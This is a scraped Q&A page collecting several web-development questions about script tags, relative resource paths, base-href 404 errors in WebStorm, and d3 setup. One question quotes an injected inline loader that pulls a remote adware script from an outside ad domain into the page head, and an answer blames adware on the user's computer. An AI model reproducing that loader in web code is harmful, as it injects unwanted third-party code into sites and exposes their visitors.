I have an Angular 6 project that references a custom Javascript file using the angular.json file. Everything works as expected, but I need to ensure that this custom.js file gets loaded in the body of the page as opposed to the head. Angular does not show this when I right-click on the page to view source. Is it correct to assume that scripts are loaded in the body by default?
This is what view source reveals:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>AngularJavascriptDemo</title>
<base href="/">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" type="image/x-icon" href="favicon.ico">
</head>
<body>
<app-root></app-root>
<script src="runtime.js" type="module"></script>
<script src="polyfills.js" type="module"></script>
<script src="styles.js" type="module"></script>
<script src="scripts.js" defer></script>
<script src="vendor.js" type="module"></script>
<script src="main.js" type="module"></script>
</body>
</html>
I need to ensure that the page loads optimally.
Related
A colleague of mine developped an html/javascript/css reporting module, independant from current application, that we would like to be part of the aplication.
To keep track of modules evolutions, we cloned his git repository into application's views folder, and declared a route to reach the page. This looks good, but the page does not fully work: the javascript console raises several http 404 - not found errors. The page does not find css and js resources, which are declared in the page:
v4_test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Reporting tool SIS - Test</title>
<meta charset="UTF-8">
<link rel="stylesheet" type="text/css" href="css/dc.css">
<link rel="stylesheet" type="text/css" href="css/leaflet.css">
<link rel="stylesheet" type="text/css" href="css/bootstrap.css">
<link rel="stylesheet" type="text/css" href="css/main.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript" src="js/downloadFile.js"></script>
</head>
<body>
---
</body>
</html>
Rails searches these elements from the root of the site instead of relatively to the current page. I tried to express the path as href="./css/dc.css" but this changes nothing.
Folder organisation:
views
|_governance
|_monitoring_pages
|_css
|_data
|_js
v4_test.html
route.rb
get 'test', to: "/governance/monitoring_pages#v4_test"
How can I update this page header section so that it finds relative resources?
I'm trying out vuejs by following along with the laracasts series of webcasts on this. I'm using netbeans 8.1 as my editor and you can see my file structure above. In https://laracasts.com/series/learning-vuejs/episodes/5 Jeffery Way shows the following code which I have adapted:
<head>
<title>Tasks</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" href="">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/vue/1.0.12/vue.js"></script>
<script type="text/javascript" src="Sources/app.js"></script>
</head>
In the console I see:
GET http://localhost:8383/vue1/Sources/app.js net::ERR_EMPTY_RESPONSE
I suspect I have the file path wrong. I've been reading http://www.jibbering.com/faq/faq_notes/script_tags.html but have not not come up with an answer. What am I doing wrong?
Is "Site Root" a subfolder on the same folder as "Sources"?
If yes, try it out:
<script type="text/javascript" src="../Sources/app.js"></script>
Or move Sources dir to inside Site Root.
Here is my index.html for posterity's sake:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<meta name="description" content="">
<meta name="author" content="">
<base href="/" />
<title>Cart</title>
<link href="content/external/bootstrap.css" rel="stylesheet" />
<link href="content/external/bootstrap-theme.css" rel="stylesheet" />
<link href="content/external/font-awesome.css" rel="stylesheet" />
<link href="content/external/angular-toastr.css" rel="stylesheet" />
</head>
<body ng-app>
{{3+4}}
drfg
<script src="scripts/external/jquery-1.9.1.js"></script>
<script src="scripts/external/bootstrap.js"></script>
<script src="scripts/external/angular.js"></script>
<script src="scripts/external/angular-ui-router.js"></script>
<script src="scripts/external/angular-resource.js"></script>
<script src="scripts/external/angular-mocks.js"></script>
<script src="scripts/external/angular-toastr.tpls.js"></script>
<script src="scripts/external/angular-animate.js"></script>
</body>
</html>
Whenever I hit run in webstorm to open in chrome, I get a 404 for every single javascript and css file. However, if I scope to the project directory and run node's http-server, my site loads just fine. I can't seem to find anything in settings related to this. Any ideas?
the problem is caused by tag in index.html:
<base href="/"/>
that tells the browser to resolve all URLs in the page relative to the web server root (localhost:63342 when using built-in webserver). Obviously no resources can be found there, as the built-in webserver serves files from http://localhost:63342/<project root>
So, you need to comment out '<base href="/"/>' to get your code working. Or, modify your hosts file to make webserver serve files from http://<some name>:63342 - see http://youtrack.jetbrains.com/issue/WEB-8988#comment=27-577559
I am writing a webapplication and when I look to the source code in my chrome browser, I find the following script in my header:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap-yeti.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://img.rafomedia.com/zr/js/adrns.js?20150807";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
This is what I uploaded:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap-yeti.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
It this a harmful script? What does it do and how can I remove this? Googling http://img.rafomedia.com/zr/js/adrns.js does not learn me a lot about this issue...
I've had this problem exactly. This script will appear in <head> tag on any website and generate lots of ads.
uninstall iSafe***.exe or yac(yet another cleaner) from you computer will solve your problem.
I'm trying to understand d3 via this tutorial
So, I've downloaded script, named it d3.js and put it in the same directory with index.html
Here is code of index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>D3 Test</title>
<script type="text/javascript" src="d3.js"></script>
<style type="text/css"></style>
</head>
<body>
<script type="text/javascript">
d3.select("body").append("p").text("New paragraph!");
</script>
</body>
</html>
However, when I load page, I don't see a new paragraph? What is wrong?
The snippet below is how jsFiddle sets up a working, d3-enabled page. I am not sure what exactly causes your problem, but maybe you could try copying the header.
I generally recommend including libs, like d3, via a CDN (e.g. cloudflare, or d3's own server, as in the fiddle), since the cached version can then be used across site domains (due to its absolute link), without being downloaded every time.
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title> - jsFiddle demo</title>
<script type="text/javascript" src="http://d3js.org/d3.v3.min.js"></script><style type="text/css"></style>
<link rel="stylesheet" type="text/css" href="/css/result-light.css">
<script type="text/javascript">//<![CDATA[
window.onload=function(){
d3.select("body").append("p").text("New paragraph!");
}//]]>
</script>
</head><body></body></html>
You can keep your script tag at the bottom of the body though.